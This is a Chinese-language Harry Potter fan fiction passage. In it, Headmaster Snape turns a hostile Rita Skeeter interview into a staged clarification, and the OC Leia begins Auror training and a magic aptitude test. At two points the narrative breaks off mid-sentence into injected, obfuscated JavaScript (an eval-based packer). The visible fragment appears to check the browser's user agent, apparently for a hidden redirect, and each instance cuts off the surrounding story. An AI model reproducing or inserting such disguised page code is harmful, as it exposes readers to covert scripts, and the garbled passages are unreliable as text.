“是吗?职责?”斯内普的眼神变得更加嘲弄,他的嘴唇懒懒地卷曲起来,重复了这个单词,就好像在品味其中的深意般,“难道你的职责还包括要挟年轻的霍格沃茨毕业生吗?”他嗤笑一声,十指交叉在一起,把魔杖按在膝盖上面。 “你心里清楚,这种消息并不会使我从霍格沃茨校长之座退下来,亦不会阻碍她和莱恩哈特副司长在魔法部的职业发展。我也很确信,这种新闻除了成为公众茶余饭后的八卦外,对社会一无益处——而只有处于和谐和安稳的社会中,人们才会乐于关注这种八卦。就这一点,我本以为《预言家日报》至少与我还有一点共识的。” 斯内普不紧不慢地说,忽而狞笑了一下,黑眸闪烁出凶狠的锐利,“对了,说起你们的报社,我突然想起,卢修斯和卡斯帕尔之前提过,他们好像在战后也给你们援助了不少资金,好去安抚那些因为你们报道而家破人亡的人们吧?” 听见这番话,斯基特整个人僵住一刻。良久,她换了下交叠的双腿,随手托正眼镜,勉强扯出一个圆滑的职业笑容,那抹红唇像朵要将人吞噬的大丽花:“校长,您这是在威胁我吗?”她虽然尽量维持表面的平静,但蕾雅还是听出那滑腻音调中的一丝颤抖。 “威胁?不,只有救世主波特先生和十全十美格兰杰小姐才会做这些事,霍格沃茨校长怎么会用这种手段呢?”斯内普讥讽地回答,“当然啦,既然我让你来了,也并不会忍心让你空手回去的。”他慢慢地说着,十分满意看见斯基特那因为捉摸不透他用意的苍白脸色,才轻飘飘地摆动手腕,之前不见的羊皮纸和羽毛笔重新飞回到两人之间的桌面。 蕾雅注意到在听见“格兰杰”这个名字的瞬间,斯基特像是被勾起什么不好回忆般地更加僵硬失色。而后,没等回过神来的斯基特伸手去够她的东西,斯内普已再度挥动魔杖。一道白光拂过羽毛笔,下一刻,羽毛笔哗啦啦地自动在羊皮纸上划开墨迹。“这样吧,我将如实回答你的三个问题。但你必须按照我的话来报道,一字不差,并且,我不希望在你的报道中看到她的名字。”斯内普稍稍偏过头,眼尾略过身边的蕾雅。 跟随斯内普的话音,羊皮纸上迅速浮现出相应的字句,“怎么样?如果没有问题,那就签下这个保证书。我已在你的羊皮纸和羽毛笔上附加了咒语,只要我说谎或者你不遵守约定,我们都会受到惩罚。”男巫干脆地在羊皮纸上签下自己的名字,确认般的坚定目光剜向斯基特。 “什么咒语?!”斯基特几乎就要弹起来,一脸铺开的难以置信,刚稳住的音调又不自觉陡然拔高:“你刚说过你不打算用威胁这种手段的,校长。”她惊慌得连礼貌用语都忘记了。 “什么咒语并不重要,因为我知道你是个守信用的人,斯基特小姐,”斯内普面露愉快地抿抿唇,再度靠回沙发上,“难道不是吗?如果没有信用的话,我看不出任何和你合作的必要。” 现在是换蕾雅平静地观察起场中的情况,斯基特可从来没有如此般地窘迫过。蕾雅甚至感觉这位记者的脸色变幻快赶得上那些麻瓜小说里写的“红一阵、白一阵”。蕾雅移开视线,和悦地端起盛满热黄油啤酒的杯子轻抿一口,享受舌尖散开的馥郁,甘甜。 房中的暖炉火花明丽地在斯基特的眼镜上扭动,斯内普略微不耐地从口袋里拿出怀表,然后端起手边的酒杯,催促道:“别浪费我宝贵的时间,记者小姐。” “三个任何问题?”斯基特终于重整自我,目不转睛地盯着斯内普,似乎想从这位年轻的校长面上寻得任何的破绽,“我怎知你说的是不是全部实话呢?”这个问题透露出一股无力感,因为她这时已然意识到,自她踏入这个房间的那一刻起,她就已落入这位校长的圈套。 “任何问题,”斯内普轻轻地放下手中的杯子,收回手的时候顺带低头整理过他的黑袍,才重新看向斯基特,话语缓慢却透出冷漠:“实话和全部实话的区别有那么重要吗?我相信我本人参与采访这件事,对你来说已是极大的新闻价值了,聪明的记者应该懂得取舍,不是吗?可不要连累到整本书无法出版才好啊。” 蕾雅这时也明白过来,斯内普虽然大概是为了维护她才接受的采访,但既然接受了,他还是准备将斯基特这个采访彻底反转,变成破除谣言的机会。只能说,不愧是一贯深谋远虑、万物为我所用的狡猾斯莱特林。她暗暗感叹,并很清醒地开始惋惜——以自己的性格,大概一辈子也没办法做到像他这般自如,霍格沃茨的分院帽还是很有道理的。 此刻,斯基特不悦地蠕动着涂满口红的嘴唇,更不情愿地探出手去,在羊皮纸上签下自己的名字,“这样可以吗?”就连她划出的字母拖尾,都好像带着犹犹豫豫的不甘心。 “当然,祝我们交谈愉快。”斯内普挥手,羊皮纸“唰”的一声卷起,轻盈地飞落到蕾雅的腿上。 “行吧。”斯基特的脸色越来越难看了,她抓起漂浮到她面前的羽毛笔和余下的羊皮纸,吮吸了下那根羽毛尾巴,然后将笔垂直立在纸上:“那让我们直接切入正题如何?您最开始为什么背叛伏地魔?众所周知,您在黑魔王初次倒台之前,就已经投靠邓布利多了。我想知道是什么促使您做出这样彻底的忠诚转变?“ “我不明白你为何执意想知道这个。”斯内普装出一副深刻回忆的模样深思一阵,像是组织起语句般才慢条斯理道:“显然,就如我们在审判会上所说的,是邓布利多感化了我。你应该知道,邓布利多一直是一个愿意相信人本性为善的伟大白巫师,他总是有办法感化万物,指引他们找回正道。我认为那是他与生俱来的天赋,只可惜我在学生时代与他接触不多。” 他稍作停顿,深邃冷峻的目光停在斯基特手中的羽毛笔,继续说道:“后来当他劝告我时,我也为他的话深感折服。甚至比起黑魔王,邓布利多的远见与关于世界爱与和平的远见确实令我触动。事实上,当时他已预见到黑魔王的没落,追随他只会有死路一条。事实证明邓布利多永远是对的,伊戈尔·卡卡洛夫和雷古勒斯·布莱克便是最好的例子。” 虽然略加粉饰,但这段叙述的确是斯内普在这些年里对邓布利多的真实所想,一字不差。 “就这样?”斯基特突兀地停住笔,似乎不可置信,“仅仅因为邓布利多?” “怎么?别把事情想得太复杂。我相信你也很清楚邓布利多的能力和口才,毕竟你可是为他写了一整本传记呐。”斯内普再次瞄向茶几上的那本邓布利多传记。 “不是因为莉莉·波特的缘故?”斯基特敏锐地问道。 “这是你的第二个问题吗?”斯内普慢悠悠地回复,丝毫不为这个名字所影响。 “呃。”斯基特一愣,旋即否定地摆摆手,沉思半晌后改口:“您和莉莉·波特之间,究竟是什么关系?有传言说您学生时代一直暗恋她,甚至是因为她,您才背叛了伏地魔。” 事情在这时更加有趣,这个问题明显是斯内普一直在等待的,如果他想要将采访翻转为澄清的话。那么,斯内普会道出怎么样的“真相”呢?至少,她也不愿意斯内普将预言的事情向斯基特坦白出来,那完全是不该被展现在公众面前的秘密。因为这正如蕾雅那天所悟到的,在新闻和舆论中,“真相”到底是什么都无关紧要,公众只会倾向于相信自己愿意看见的东西。而斯内普那道最丑陋的伤疤,他最深刻苦难的起源,是永远不该那样被放到他人面前评判的。 蕾雅紧攥那卷写有两人合约的羊皮纸,细细地打量斯内普和斯基特面容上的微动——一个泰然自若,一个狡猾窥探。斯基特似乎想从这位校长的身上寻到任何可以撬动他的蛛丝弱点。就在这个时候,斯基特忽然将视线投向蕾雅,蕾雅可不打算给这个女人任何击溃斯内普的机会,她毫无退缩地对女记者牵开一个礼貌的笑容,自顾自地别开脸喝黄油啤酒。 “我不清楚你从何听来的这些传言。让我猜猜,难道是玛丽·麦克唐纳?”斯内普突然开口,整个人带着恰到好处的游刃有余,“莉莉·波特仅是我童年的好友,我们在同一个麻瓜社区长大。但因为一些原因,我们很早就绝交了,至于详情,我猜你也早已从别人的口中的传言了解到了,不是吗?后来,我出于对旧日情谊的愧疚,以及为了打败伏地魔,决定遵从邓布利多的指示,暗中保护她的儿子,也就是救世主哈利·波特。” 说到这里,斯内普的身体微微向前倾,换上分外真诚恳切的语气对斯基特说:“正好,我虽不在乎谣言八卦,但我想没有人希望别人一直误解自己。斯基特小姐,还请你帮我澄清。”听完他的话,蕾雅又一次松一口气,内心再度为狡猾的斯莱特林赞叹不已——一半的真相,一半的真诚,只需要这些,故事已是另一个模样。 只见,斯基特的肩膀不由自主地抖动一瞬,她的羽毛笔依旧有条不紊地将斯内普的这番话全部记录。她显得比刚才听见“邓布利多”的时候还要失望,再次意识到自己永远不会从斯内普的回答中挖掘到预期的爆炸性新闻了。 那么,至少,至少还是让她刊登一个独家新闻吧。她略作思考,说道:“好吧,最后一个问题。” “请说。”斯内普略显有礼地抬了抬手,心里满足地看这场闹剧迎来落幕时刻。 丽塔·斯基特顺了顺她那头精致的大卷发,深呼吸一次,将写满报道的羊皮纸掀开,换上一张新的。而后,她扬起头与斯内普平视:“斯内普校长,您作为校长和双面间谍,一直背负着沉重的责任和牺牲。然而,公众对您的个人生活同样充满了好奇。能否请您透露一下,您目前的感情状况如何?” 果然,蕾雅知道斯基特决定落下一招险棋,不顾一切也要趁这个“采访”的机会获取到一些使公众哗然的素材。 斯内普的手指在膝盖上敲打两下,依然维持着那种如窗外凝结住的冻河般的神态。他的眼神镇定而深沉,丝毫没有任何踌躇就答到:“我必须说,我理解公众对我私生活的好奇,尽管我并不认为这是任何适合作为新闻报道的材料。但是嘛,既然你决定浪费一个提问机会在这里,我会回答你。正如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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波澜之间夹杂的,是斯内普阴冷锋利的声音,语句被一字一顿地危险拖长,如同缠在脖间的绞索缓缓收紧,一点点剥夺去对方的生命力。紧接着,男人打了一个响指,另外有什么东西倏地飞到斯基特的面前,凌空化作一团剧烈燃烧的焰火,掀起的一阵热浪袭向她那张被脂粉过多粉饰的脸庞。 “我指的是,任,何,一,个。” 斯基特的眼睛瞪得大大的,看清楚了被火舌舔得卷曲的正是刚刚搁在茶几上威胁斯内普的照片,就在离她脸旁不到一掌的距离。她再也不敢踟蹰,迅速地拉开木门,头也不回地离开房间。没过多久,在陈旧木走廊里回荡的高跟鞋音也一并消失。 房间的空气安静下来的时分,见斯内普渐渐缓和神情,蕾雅放下那杯喝得差不多的饮料,用手帕擦了擦嘴边,转向身边人:“梅林的胡子呀!” “怎么?”斯内普侧过脸,不以为然地挑起眉毛。 “太帅了,西弗!”蕾雅毫不掩饰地感叹:“太帅了,我的校长。你怎么知道赫敏当时对斯基特做了什么?我都不知道!”(1) “托波特那个空空的脑子像个装不住水的漏勺的福。格兰杰小姐很早就发现丽塔·斯基特是个没有登记的阿尼马格斯。”斯内普低声嘲讽一句,伸手拿起那卷羊皮纸,也跟那张照片那样凭空烧毁。 “嗯?该不会像我想得那样,上面根本没有什么魔法吧?”蕾雅眨了眨眼,半信半疑道:“你是不是早就料到她不会暴露我们了?” 斯内普抬起下颚,带着一抹低笑试探她:“我看你今天学到的不止这点吧。说说看,你都学到什么?” “哪些?威胁、引诱、欺瞒还是恐吓?”她咯咯地笑出声,“叹为观止,西弗。只希望我要有一天也跟你这样运用自如才好啊。” “还有一点,遇到自己解决不了的事就去找能帮忙的人。这点我相信你是掌握了。”斯内普没有过多在意她的打趣,用指背刮了一下她的鼻梁,然后站起来,从她腿上拾起被她揪成一团的两人围巾。“好了,接下来你有什么安排?”他边理顺围巾边问。 “没有?”她也收好那本守则起身,斯内普顺手将她的围巾搭在她的肩颈侧。她接过他的动作系好围巾,又踮起脚,替他仔细地环绕好他的墨黑围巾,“你是赶时间要回去学校忙吗?还是说——” “只要在今晚巡夜前回去就行。”斯内普最后确认房间里没有落下两人的东西,对她说:“昨天家里还剩了点食材,正好,要不要过去?”两个人边说边朝门口走去。 “你家?好呀。”蕾雅几乎是不假思索地回答,很快又反应过来:“等等,食材?你不是不会做饭吗!难道你那时候故意假装的?”她回忆起去年平安夜,两个人在莱恩哈特家厨房为邓布利多准备圣诞餐的情景,他当时明明坚定地否定了这件事。 “恭喜你,发现了隐藏的秘密。”斯内普睨她一眼,拉开房门等她跨出去,开玩笑道:“要我为格兰芬多加两分吗?” “最好不过!那么,校长先生,说谎要扣多少分呢?”蕾雅佯装生气般皱皱鼻子,很自然地挽起他的手臂,“……我就说你切土豆的手法也太娴熟了点。” 男人轻笑着拨弄她的额发,关上门以后敲了敲隔壁的房门,说道:“阿不思,我们先走了。” …… 回到蜘蛛尾巷的时候,天还早。 升起壁炉,斯内普在门口挂起两人沾满风雪的大衣、围巾、还有他的外套。那些细碎的冰渣滑落在门口的地毯,湿漉漉的一片。他走回屋内,他心爱的人儿正忙碌于他的客厅餐桌上。一小束槲寄生被摆弄在花瓶里,象征圣诞的红丝带穿梭在她的指间,挽成完美的蝴蝶结形状。她轻轻哼着一首他不知道的歌,将那个打点好的花瓶推到铺上新桌布的餐桌中央,又摆下新购置的香薰蜡烛,购物袋中还有一小瓶为庆祝她开始工作的香槟。 男巫悠闲地卷起衬衫袖口,踱到她身边,一双大手环过她的腰:“听说你下周有个魔力测试?” “嗯,周三。”蕾雅折好包装蜡烛的牛皮纸,塞进废弃的纸盒,没有用魔杖就挥手传送到垃圾桶旁边,“大概是想测试我们更擅长什么魔法吧?怎么了?”她别过脸,正好看见男人上翘的嘴唇。 “没什么,到时候报告也给我看看。”斯内普轻声说,低下头,高挺的鹰钩鼻稍稍擦过她的耳廓,“今晚想吃什么?家里还剩了些土豆,洋葱,胡萝卜,牛肉,也许还有点红酒。” “红酒烩牛肉?”蕾雅听明白他的暗示,于是跟随他的话往下列举:“你这听着可不像剩的食材,西弗勒斯。不会还准备了黑胡椒和迷迭香吧?” “当然,鉴于这两种材料平时也会用在魔药制作,我想你也很清楚。”斯内普诚实地回答道。 蕾雅没有说话,而是转过身,双手抵在男人结实宽阔的胸前,缓慢地推他往后退。她扬起微笑,自言自语般喃喃道:“嗯,现在是下午四点,霍格沃茨的夜巡是九点。炖牛肉一小时,吃饭一小时,收拾和准备食材再花费一小时,那我们六点开始准备,也至少还有两个小时空余。” “我倒希望,你这种精准的时间把控也能用到后面的工作中去。”斯内普笑了,感受到怀里人的力度,任由自己跌坐在身后的沙发。他的黑眸微微眯起,凝视那双像有温火跃动的绿眸,看她抿住嘴唇,像只调皮的小动物般攀爬到他的腿上。她美好的面颊正蔓生出明艳的亮色,宛如天花板悬挂的蜡烛外焰,嗯,又像刚刚她摆弄的红色丝带。 “想做什么,我的小姐?”他问,温热的手掌稳妥地覆上她的腰,以防她失去平衡。 “下次,在我家,你不准那样看我。”蕾雅轻斥道,眼神中略有责备地瞪他。她的手指玩弄一颗他衬衫的纽扣,一点点缩近两人的距离,又一脸严肃地在他唇边细语道:“还有,你必须跟我说说,校长室里的礼物和信件是怎么一回事?嗯?” 81.测试 这一届新来的傲罗还有一个来自赫奇帕奇的男生,原来是贾斯廷·芬列里。他在五年级的时候也曾是邓布利多军的一员,但由于他的麻瓜身份,在整个战争期间被家里人安排躲藏到法国,后来在布斯巴顿完成了NEWTs的学习。除此之外,还有一名比他们早一年毕业的拉文克劳纯血女巫艾琳娜·弗利。据斯威克主任介绍,纯血统弗利家族一直隐居在汉普郡的庄园中,世代致力于解密古代魔法。 于是,在魔法部工作的日子就这样开始了,仿佛是一段新的旅程,又仿佛与往常霍格沃茨的生活没有多大的不同。 星期一,三个人兴致勃勃地参与到培训课程。常规的身体特训和搏斗应急课虽然痛苦又枯燥,但进攻魔咒和魔法防御术课的实战演练,让两位男孩子卯足百分百的干劲。还有另外两门叫做现场调查技巧和心理谈判的课程,让一贯喜欢在棋盘上斟酌推敲的罗恩表现出极大的兴趣。 星期二,情况又不太一样。无论唐克斯怎么跟他们示范,三个人的伪装和变形还是完全掌握不了,更不要说需要更多技巧的隐形与潜行术——毕竟,哈利之前就是穿上隐形衣,也能轻易被像斯内普那样的高级巫师识破。 接下来的魔法生物应对课上,哈利和蕾雅更是不得不使出与当时在学校没什么区别的办法,来使罗恩保持清醒,这也因为魔法部的魔法生物应对课程跟学校里的神奇生物课截然不同——课上仅有枯燥的理论表格与知识点,不会出现任何能实际触及到的生物。而最灾难的还是法律和魔法世界规则课,就连哈利和蕾雅都快支撑不住,只有前来跟他们一起上课的赫敏听得津津有味。 时间来到星期三,天气更冷了,虽然伦敦还没有下雪,傲罗办公室的高窗上还是都挤满的霜雾,灰蒙湿漉的一片。即使室内有另一套控制天气和温度的魔法系统,在这种迷茫阴鸷的昏光下,却也让人萎靡不振。 倒是,一大早发行的《预言家日报》让整个傲罗办公室小小地沸腾了——原因是,斯内普校长的个人传记《斯内普:隐藏在恶棍面具下的圣人?》终于发行,而为了宣传书籍,丽塔·斯基特特地霸占一整面的头条新闻版面,来刊登她与斯内普的专访:“三个问题,揭开多年谜团:西弗勒斯·斯内普的双重身份与苦尽甘来”。报道里特意提到斯内普校长亲口承认在经历战争与苦难后,自己终于可以放下沉重的负担将重心移至个人生活,如今,他正与一名傲罗交往。 就是这个信息,让一贯阴沉乏闷的傲罗办公室变得生机勃勃,大有一种看热闹看到自己身上的感觉。因为这偌大的房间里,有三分之二的人都曾是西弗勒斯·斯内普的学生,看见这条报告,谁也不愿意相信那个曾经尖酸刻薄,过分偏心斯莱特林的严厉魔药大师还会陷入爱情。这其中最令人惊悚的信息莫过于斯内普的对象,是一名傲罗。 午休的时间,精力旺盛又八卦的年轻傲罗们终于簇拥在一起,吃着从餐厅送上来的三明治果篮,吱吱喳喳地议论起来。他们交头接耳,小声说大声笑,甚至运用在调查技巧和心理谈判课上学到的知识,来推断到底谁是斯内普的爱人。讨论越来越激烈,最终,有两位跟唐克斯同一届的的男巫将目光锁定到一个女巫身上。 “不会是你吧,莫尔?”其中一个叫做埃文的金发男巫笑嘻嘻地观察着这个比他们大两届的斯莱特林女巫,“听说你在学校的时候,魔药学时常被教授夸奖啊。” “你在胡说八道什么呢。”棕发的莫尔很直接地抓起一叠羊皮纸,甩到男巫身上,“真是得吃下几个龙胆才敢跟斯内普教授谈恋爱,光是想想他那眼神我都要发抖了。” “可不是嘛。”另一个垂散着凌乱乌黑卷发的男巫插嘴道,他调皮地做出一个打寒颤的姿势,而后转头对上正走过来的唐克斯,唤道:“哎唐克斯,你跟教授原来都在凤凰社吧?没听说点什么吗?” 唐克斯随意地调整着她飒爽的短发,眨了眨眼睛,“凤凰社的工作一向都是各自保密的,至于斯内普教授的事……你们真以为他会告诉其他人?”她停在几个人的前面耸了耸肩,突然将脸别到另外一边:“哎,你们三个要下去吃饭?等等我。” “好啊,我们一起走。”哈利笑着对唐克斯回应。其实从刚刚几个傲罗的讨论开始,他和罗恩的打趣笑容就没停止过。只是没好意思再过多地取笑跟在他们身后这位,努力不让脸红得像番茄的年轻女巫。格兰芬多小狮子们还是有几分仗义的。 “走!”唐克斯和其他不打算下楼的人告别,径直走向那个一言不发的黑发女孩,伸手将她环在怀里,轻捏她的脸蛋,低声笑道:“我们可以替你保密,可等下午餐的时候你可要好好说说,到底是发生了什么事,能让斯内普下决心公开这件事啊。” 蕾雅只敢沉默地点头,甚至都没想过违抗唐克斯。就是去地下食堂的一路上,她都难堪地觉得今天魔法部的人似乎格外爱讨论今日的时事,不少人手里都拿着一份《预言家日报》。她收回目光,只庆幸今天不是斯内普来魔法部开例会的日子,不然只怕连去饭堂吃饭都会是一件艰难的事。 “你们被斯基特威胁了?!”六人卡座中,正在挖一盘烤得焦香的土豆泥的赫敏讶异地瞪大眼睛,愤愤不平,“你怎么不早说呢,我们早在三年级的时候就发现斯基特是个……” “他知道那件事。”蕾雅压低声开口,她瞄了一眼好奇地打量他们的唐克斯,连忙打断赫敏的话,稍微移开话题中心:“他是从呃……哈利那里知道的,可他还是决定安排了会面,也决定刊登了这些信息。”蕾雅有些不安地看一眼哈利,不过明白了暗示的哈利也并没有过多在意她的话。 “那就是说,斯内普知道斯基特的把柄,也还是有意要公布这些讯息?”唐克斯将手边的报纸扔到里侧,又被罗恩接了过去。 是的,为了避免校长室堆积过多的爱慕者礼物和信件。蕾雅腹诽道。 “这么听着像是斯内普是故意要公开这些了。”罗恩诧异而笃定地说,他已经吃完盘中的热狗,于是重新翻动报纸,自言自语般嘟哝起来:“蕾雅,你是不是给他吃了过多迷情剂啊?我怎么感觉他像变了个人?……可我也没听乔治他们说迷情剂已经发展到这个地步了啊?” 蕾雅被罗恩的话引得笑出了声,“我怎么敢给我们的魔药学教授下药。你是嫌我们格兰芬多分太多,还是嫌我被关禁闭关得还不够?” “那你说,你到底看上他哪一点了?”罗恩从报纸里抬起头来,仍旧不肯放弃地逼问她。他刚说完,就连正嚼着牛肉汉堡的哈利都凑过来,直勾勾看向蕾雅:“我也想知道,你好像很早就喜欢他了,也许从五年级?你当时就跟斯内普有暗中来往了吧?” “我早就问过她了,现在才敢跟你们说。”赫敏推开吃空的土豆泥,手腕无意识地搅动着吸管,摆出一个神秘的表情:“你们不会相信的,蕾雅六年级的时候就跟我坦白了,斯内普很温柔。” “我的梅林啊!温柔?!这反而让我觉得是不是斯内普给你吃了迷情剂,蕾雅?”唐克斯笑得连头发都染成鲜艳的大红,她急忙伸出手碰了碰蕾雅的额头,确认温度和触感都正常,笑着转开话题:“好了,别调侃她了。我倒是另外还有件不敢相信的事,是哈利你的妈妈,我都不知道原来他们俩是童年好友。” “对,我也是后来听邓布利多说的,才知道斯内普很早以前就认识我妈妈,也才弄清楚他们当时到底发生了什么。”哈利点点头,吞下最后一口汉堡,随后又伸长手从头顶掠过的一个篮子中揪出一叠擦手的纸巾。 “我偶尔也听到莱米提起过他们学生时代的一些事。”唐克斯的话音刚落,哈利有些困惑地抬起头,唐克斯看出了他的不安,安慰地说:“那都是过去的事了,没必要纠结。”说到这里的时候,唐克斯突然转向蕾雅,“斯内普怎么想?” 他怎么想?前阵子还差点跟布莱克在霍格沃茨打架来着呢,尽管原因是她而不是那些往事。不过其实蕾雅十分明白,斯内普身上纠缠的东西也早已分不出前后。 “他很少……跟我谈这些。”蕾雅用手背给滚烫的脸降温,轻轻咳了一声。她忽而觉得这个场上的气氛怎么变得这么诡异,莫名有一种家属们在聊各家长短的既视感。她晃晃脑袋,赶走这好笑又奇怪的想法,端起加了冰的红茶深饮一口,确认般瞄向哈利:“所以,邓布利多也跟你说了报纸上的这些?” “是啊,你还记得我当时,就是审判会的时候,还在纠结为什么斯内普要保护我吗?”哈利正用纸巾抹嘴角,咕哝着:“我后来听你说的去找了邓布利多,他就说也许因为当时斯内普本来就跟我妈妈一起长大的。当然,最主要的还是预言的事……” 原来啊,是斯内普和邓布利多一早就商量好对外的说辞了。 这两个人对事情的预先判断也还是那么的深谋远虑呢。 蕾雅的脑海中浮现出两位当时在她家运筹帷幄的模样,正要喝完杯中最后一点红茶,偏过头却看到迎面走来的雷格纳·莱恩哈特。他正微笑地和另一个身着绿袍的白发巫师交谈,在注意到他们这桌人的须臾,便让那个巫师在原地等他,自己挤过人群走到这边。 “莱恩哈特副司长。”几个人也看见了雷格纳,礼貌地打起招呼。 “爸爸。”蕾雅还沉浸在前面的话题,只尴尬地抬了抬眼。虽然周日那晚回到家,她已将那日发生的事避重就轻地告知雷格纳。 “你们好。”雷格纳洞察到女儿的心绪,随即伸手按了按她的肩膀。他温和的眼神扫过罗恩手上的报纸,却并没有为此做出任何的评价,而是直接提出另一个他们今天更应该关心的话题:“听说你们下午进行魔力测试?都准备好了吗?” “哦是的,早上斯威克主任跟他们说明了流程,但其实也没什么要准备的。”身为前辈的唐克斯率先接过话,挥了挥手示意雷格纳不要过多担心,又对其他后辈们补充:“就是个例行测试,你们放轻松就好。” 魔力测试分为两个部分,首先是魔力天赋的鉴定,然后是实战的魔法技能测试。魔力天赋是由一台精巧的银制仪器直接检定的,这台仪器有点像蕾雅在斯内普的校长室里看到的,但又比校长室的更为复杂,还多了一个镶嵌在中央的玻璃球。(1) 玻璃球中萦绕着一团形状朦胧模糊、颜色不定的雾气。蕾雅根据测试人员的指示将自己的魔杖轻轻敲在嗡嗡运转的仪器时,雾气渐渐幻化出颜色。那奇幻的烟雾扭动、变换,而后骤然坍缩,颤动数秒,忽然又摇摇晃晃地舒展,像一朵雾里花般在玻璃球中盛开。每一个花瓣最后都大致固定显现出一种颜色,不时转动跳跃。 在她疑惑地低头看去的片刻,测试人员已经边抄写结果边向她解释:“最大的那瓣是红色的,代表进攻性魔法能力,另有一瓣差不多大小的绿色花瓣,代表治疗魔法。蓝色的,防御魔法,白色的,代表古代魔法天赋,然后最小的一瓣是橙色的,预示占卜、预见能力。”记事板的纸张伴随测试人员的话发出沙沙的书写声,很是清脆,“另外,跳动表示魔力的不稳定,但很多巫师都有,可以通过这一年的训练改善。” “嗯……除了这些颜色,还有别的吗?”蕾雅凝视自己的魔力组成,是从来没有如此具象地感受到自己的能力。她的翠绿瞳仁随着花瓣的颤缩而微微抖动,她仔细地观察着每一片花瓣和形态,但除了颜色的流转和跳动,这些雾气再也没有显现出更多细节——只是很奇怪的,在袅袅的颜色迷雾中,有一瓣不大的花瓣独自漂浮在花团的外围,孤独地环成一个淡银色的圈,由于房间中昏暗的灯光,并不明显,倒是显得愈加神秘而深邃。 “有啊,每个人天赋不一样,颜色也不一样。”测试人员懒懒答她。 “那为什么,有一瓣在外面呢?”蕾雅保持平举魔杖的姿势,转过头,询问她身后负责记录的测试人员,“银色的代表什么?” “嗯?银色的?银色原本是代表心灵和精神系魔法,比如说摄神取念和大脑封闭术这种。”测试人员没有抬头,手中保持着书写速度,只是顺着她的话随口回答。 “我是说,”蕾雅稍稍提高些音量,尽量让自己的语气在引起对方注意的同时,听起来还算友好:“它为什么在外面?” “在外面?什么意思?”测试人员这才皱起眉将视线从记事板撇开,仿佛不相信她的话般盯着她。 “有一个花瓣在外面,是银色的。”蕾雅再次强调,感觉自己的耐心快被这个只顾记录的人消耗殆尽。 测试人员长叹一口气,难以相信她的话般不情愿地叉着腰走近玻璃球,低下头端详起那与主花间隔有一段距离的银色花瓣:“……真的是在外面,梅林!” “这意味着什么呢?”蕾雅小心翼翼地追问。 “我……”测试人员没有立即回答她,重新端起记录板,哗啦啦地忙将这个奇异的现象写在备注栏。等他一字不落地记述完这个现象,才若有所思地看着蕾雅:“我不确定,这是我第一次见到这种情况。就好像,它是额外得来的能力天赋一样。” 蕾雅的眼睛瞪得圆圆的,满是困惑:“额外得来?怎么才会得到额外的天赋啊?” “我不清楚,莱恩哈特小姐。”测试人员合上写有“蕾雅·莱恩哈特”姓名的档案记事板,还算诚恳地劝慰:“我会将这个现象报告上去,看看斯威克主任怎么说。但可以肯定的是,你是拥有精神系魔法的天赋。好了,你先不要想这个,接下来还有测试呢。” 蕾雅离开魔力鉴定室,就撞到刚刚从训练室出来鼻青脸肿的罗恩,他声泪俱下地对她抱怨,唐克斯欺骗了他们,这根本就不是个“轻松”的测试。 等蕾雅也真切地深陷在训练室满是陷阱和障碍之中,面对五个朝她围攻过来的训练魔法人偶时,她无比深刻地同意罗恩的观点。 幻影移形,昏昏倒地,房塌地陷,幻影移形,飞沙走石,幻影移形,四分五裂,霹雳爆炸还有火焰熊熊,她几乎被迫回忆起那个被斯内普训练得满是淤青的夏天。在第五次差点因幻影移形掉落到陷阱时,蕾雅终于大致辨识出场地中绝对安全的区域。从这一刻起,这看似不近人情的测试才变为简单许多,而击倒最后一具魔法人偶的招式是她最擅长的雷电咒。 到这里,尽管她没有受什么重伤,但也深感体力透支。 捂着肩膀的擦伤气喘吁吁地推开门,她回望一眼被她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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以至于,等她真的离开他的身边,独自拥有自己的世界和事情,他却莫名产生一种陌生的不习惯感。尤其是每每经过格兰芬多塔楼,或者在礼堂上用餐的时分,他清晰地意识到她再也不会像往常那样出现在他的视野中、抬眸对他一笑,这感觉就犹如常年陪伴自己的那口坩埚,突然有一天找不到了的那般彷徨。 虽然说,他已将飞路网连通,但平日没有什么要紧的事,两个人实在也不好意思提起要见一面,至少他是肯定不会直接说想见她。而她呢,则是害怕打扰到他的工作,当然亦不会主动开口要见他。 上一个周日在蜘蛛尾巷的温馨不适时地在脑海中涌现出来,斯内普深呼吸一口冷空气,将那过分明艳美好的记忆波动压抑下去。还好,今天已是周五,按照昨晚睡前的手环约定,他今晚会跟她单独吃晚餐。是在他的卧室,毕竟身为校长,他不能总离开霍格沃茨。 是啊,这又是繁忙的一周。在邓布利多欣悦地渐渐退出日常事务处理后,斯内普一个人花了整整四天来进行助教的面试和其他招聘事务。也在斯普劳特教授和麦格教授的大力推荐下,纳威·隆巴顿如愿地成为了草药学的助教。另外—— 斯内普踏上旋转楼梯的最后一阶,拉着狮身鹰首兽形状的铜门环推开木门。门后映入眼帘的是一个端正地坐在沙发上等待他的金发年轻男巫,德拉科·马尔福。 “先生,斯拉格霍恩教授让我来这里等你。”马尔福见到斯内普的那瞬间就立即站起身,别扭地微鞠一躬,尽管他已经很久没有对斯内普这么恭敬过了。 “坐下吧。”斯内普随手关上门,魔杖一挥,将有些过热的壁炉温度调弱一点。随后,他走到矮茶几旁边,别过脸转向马尔福:“你想喝点什么?红茶?奶茶?还是咖啡?我不建议这个时间喝酒。” “红茶吧,洋甘菊就算了,我不太习惯。”马尔福用手指挠挠脸侧,似是被触动到什么不好的记忆般略显僵硬。斯内普用魔杖传来两杯温度正好的红茶,马尔福小声地道谢。 “所以,你决定好了?卢修斯也同意了?”斯内普在他的对面坐下,面无表情地问。他同时又用魔杖从他的办公桌上召唤一叠羊皮纸,是霍格沃茨的工作合同。 “爸爸同意了,”马尔福的视线追随斯内普的动作不时移动,“就是要我尽快安定下来。” “这是什么意思?”斯内普被带起兴趣地抬头,习惯性挑起眉毛,“德拉科,解释安定的定义。”他一边说,一边从羊皮纸中扯出一张,展开在马尔福的面前。 